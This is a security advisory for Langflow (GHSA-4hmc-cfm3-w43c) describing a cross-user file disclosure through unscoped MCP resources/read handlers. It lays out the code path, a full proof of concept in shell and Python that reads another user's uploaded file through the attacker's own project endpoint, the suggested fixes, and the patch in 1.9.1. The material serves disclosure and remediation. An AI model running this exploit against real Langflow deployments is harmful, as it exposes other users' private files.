GHSA-4hmc-cfm3-w43c CVE-2026-105699 PYSEC-2026-4230
Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.31%
- Chance of exploitation in the next 30 days. Higher than 24.21% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-639 Authorization Bypass Through User-Controlled Key
- Fix
1.9.1- Upgrade langflow to this version or later
Description
Summary
Langflow's project-scoped MCP transport authenticates the caller for the project_id in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.
This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.
Details
Verified against local checkout:
- Repository:
langflow-ai/langflow - Verified on release tag:
v1.8.3 - Commit:
08bf98404cfd7737fde57a2588785766cdf1b42e - Earliest stable release known to contain the vulnerable code path:
v1.6.8
Relevant code path:
-
src/backend/base/langflow/api/v1/mcp_projects.py:147-193verify_project_auth_conditional()authenticates the caller and checks access only to theproject_idin the MCP transport URL. -
src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241The project-scoped MCP server registersread_resource()and forwards the attacker-controlled URI directly tohandle_read_resource(uri=uri). -
src/backend/base/langflow/api/v1/mcp_utils.py:163-182handle_read_resource()parses the last two URI path segments asflow_idandfilename, then directly calls:storage_service.get_file(flow_id=flow_id, file_name=filename)No check ties the supplied
flow_idback to the authenticated user or the current project. -
src/backend/base/langflow/services/storage/local.py:141-149src/backend/base/langflow/services/storage/s3.py:200-217The storage layer performs a raw namespace read and is not authorization-aware.
The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.
This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:
src/backend/base/langflow/api/v1/mcp_utils.py:102-121handle_list_resources(project_id=None)lists files for all flows.src/backend/base/langflow/api/v1/mcp_utils.py:333-380handle_list_tools(project_id=None)queries all flows and includes flow IDs in tool metadata.
That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.
PoC
Preconditions:
- Langflow is running locally with authentication enabled.
- Two separate users exist on the same instance.
- The victim has a flow with an uploaded file.
- The attacker has access to any project they own.
Verify the issue locally by starting Langflow with:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -a
source .env.verify
set +a
export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify"
uv run python - <<'PY'
from langflow.main import setup_app
import uvicorn
app = setup_app(backend_only=True)
uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug")
PY
Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:
- the normal file download route is blocked for the attacker (
404) - the same file is readable through the attacker's own project-scoped MCP connection
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -euo pipefail
export BASE='http://127.0.0.1:7860'
export PASS='Passw0rd!Passw0rd!'
export VICTIM_USER="victim.$RANDOM@example.com"
export ATTACKER_USER="attacker.$RANDOM@example.com"
curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null
curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null
export VICTIM_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$VICTIM_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)
export ATTACKER_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$ATTACKER_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)
export VICTIM_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"victim-project"}' | jq -r '.id'
)
export ATTACKER_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-project"}' | jq -r '.id'
)
export VICTIM_FLOW_ID=$(
curl -sS -X POST "$BASE/api/v1/flows/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \
| jq -r '.id'
)
printf 'cross-project-read-proof\n' > /tmp/secret.txt
export UPLOAD_JSON=$(
curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-F "file=@/tmp/secret.txt"
)
export VICTIM_FILE=$(
printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last'
)
export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE"
export ATTACKER_API_KEY=$(
curl -sS -X POST "$BASE/api/v1/api_key/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-mcp-key"}' | jq -r '.api_key'
)
export DIRECT_STATUS=$(
curl -sS -o /dev/null -w '%{http_code}' \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
"$VICTIM_URI"
)
export MCP_READ_OUTPUT=$(
uv run python - <<'PY'
import asyncio
import base64
import os
import httpx
from mcp import ClientSession
from mcp.client.streamable_http import streamable_http_client
base = os.environ["BASE"]
project_id = os.environ["ATTACKER_PROJECT_ID"]
api_key = os.environ["ATTACKER_API_KEY"]
victim_uri = os.environ["VICTIM_URI"]
url = f"{base}/api/v1/mcp/project/{project_id}/streamable"
async def main():
async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client:
async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):
async with ClientSession(read_stream, write_stream) as session:
await session.initialize()
result = await session.read_resource(victim_uri)
blob = result.contents[0].blob
print(base64.b64decode(base64.b64decode(blob)).decode().strip())
asyncio.run(main())
PY
)
echo "Direct /files/download as attacker -> $DIRECT_STATUS"
echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT"
Expected output:
Direct /files/download as attacker -> 404
Project-scoped MCP resources/read -> cross-project-read-proof
Observed server logs during verification:
GET /api/v1/files/download/... 404 Not Found
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
Impact
This is an authenticated IDOR / arbitrary file read issue in the MCP layer.
Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read.
Practical impact includes:
- Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts
- Unauthorized access to sensitive business data stored in flow namespaces
- Easier exploitation when global MCP helpers reveal other users' flow IDs and file names
Suggested Remediations
-
Authorize
resources/readagainst the authenticated context before calling storage. Resolveflow_idto a database object and require both:flow.user_id == current_user.idand, for project-scoped transports,flow.folder_id == current_project_id. -
Stop trusting arbitrary file-download URIs as resource identifiers. Instead, return opaque server-generated resource IDs from
resources/listand resolve them server-side to an already authorized object. -
Scope global MCP enumeration helpers to the authenticated user.
handle_list_resources()andhandle_list_tools()should not query all flows whenproject_id=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery.
Fix Status (Maintainer Triage Update — 2026-09-22)
This report is accurate. The vulnerable code path described above (missing
ownership check in handle_read_resource()) has since been fixed.
Corrected affected version range: >= 1.6.8, <= 1.9.0 (not <= 1.8.3 —
confirmed still vulnerable through v1.9.0; the fix landed with the v1.9.1
release, not later).
Fixed in: v1.9.1 (GitHub Release published 2026-04-24), via PR
#12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)".
- Backport commit on
release-1.9.1:f0fd436fe9829192ee550e6cb46961a01dd37032 - Corresponding commit on
main:b8fe970493fd5fb2e1fc71dfccc79f90b76058fa
The fix:
handle_read_resource()now requires an authenticated user context and resolves the namespace segment of the URI to aFlowrow scoped toFlow.user_id == current_user.id, additionally filtering onFlow.folder_id == project_idfor project-scoped MCP servers (src/backend/base/langflow/api/v1/mcp_utils.py).- Rejects filenames containing
..,/, or\as defense-in-depth against path traversal, and applies the same containment check to the storage layer'sget_file/get_file_stream/delete_file/get_file_size(local.py/s3.py, both inlangflowandlfx). handle_list_resources()/handle_list_tools()are now scoped tocurrent_user.idon the global (non-project) MCP server, closing the cross-user enumeration this report also flagged.
Verified independently against langflow-ai/langflow @ 89444c3bb5
(release-1.11.0 branch, current as of 2026-09-22): the fix is present, and
the regression suite (src/backend/tests/unit/api/v1/test_mcp_utils.py,
21/21 passing) includes test_handle_read_resource_denies_other_users_flow,
which reproduces this report's exact cross-user scenario and asserts it now
raises ValueError("... access denied").
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| langflow | >= 1.6.8, < 1.9.1 |
1.9.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
langflow PyPI → 1.9.1
- pip
pip install --upgrade "langflow>=1.9.1"- poetry
poetry add "langflow>=1.9.1"- uv
uv add "langflow>=1.9.1"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-639: Authorization Bypass Through User-Controlled Key
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
How to prevent it
- Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
- Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
References
Advisories
Packages
Other links
- github.com/langflow-ai/langflow/security/advisories/GHSA-4hmc-cfm3-w43c
- github.com/langflow-ai/langflow/pull/12818
- github.com/langflow-ai/langflow/commit/b8fe970493fd5fb2e1fc71dfccc79f90b76058fa
- github.com/langflow-ai/langflow/commit/f0fd436fe9829192ee550e6cb46961a01dd37032
- github.com/langflow-ai/langflow/releases/tag/v1.9.1
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-qrpv-q767-xqq2 Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow | High Known exploited | Also affects langflow |
| GHSA-vwmf-pq79-vjvx Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint | Critical Known exploited | Also affects langflow |
| GHSA-g22f-v6f7-2hrh Langflow affected by Remote Code Execution via validate_code() exec() | High Known exploited | Also affects langflow |
| GHSA-577h-p2hh-v4mv Langflow CORS misconfiguration enables Account Takeover and RCE | Critical Known exploited | Also affects langflow |
| GHSA-rvqx-wpfh-mfx7 Langflow Unauth RCE | Critical Known exploited | Also affects langflow |
| GHSA-j8f7-x8jm-wmm4 Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling) | Medium | Also affects langflow |
| GHSA-4f6c-2vvp-gw82 Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write | High | Also affects langflow |
| GHSA-gh98-4phw-6fmw Langflow : Cross-user flow access and vertex execution via deprecated /api/v1/build/{flow_id}/vertices endpoints | Medium | Also affects langflow |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor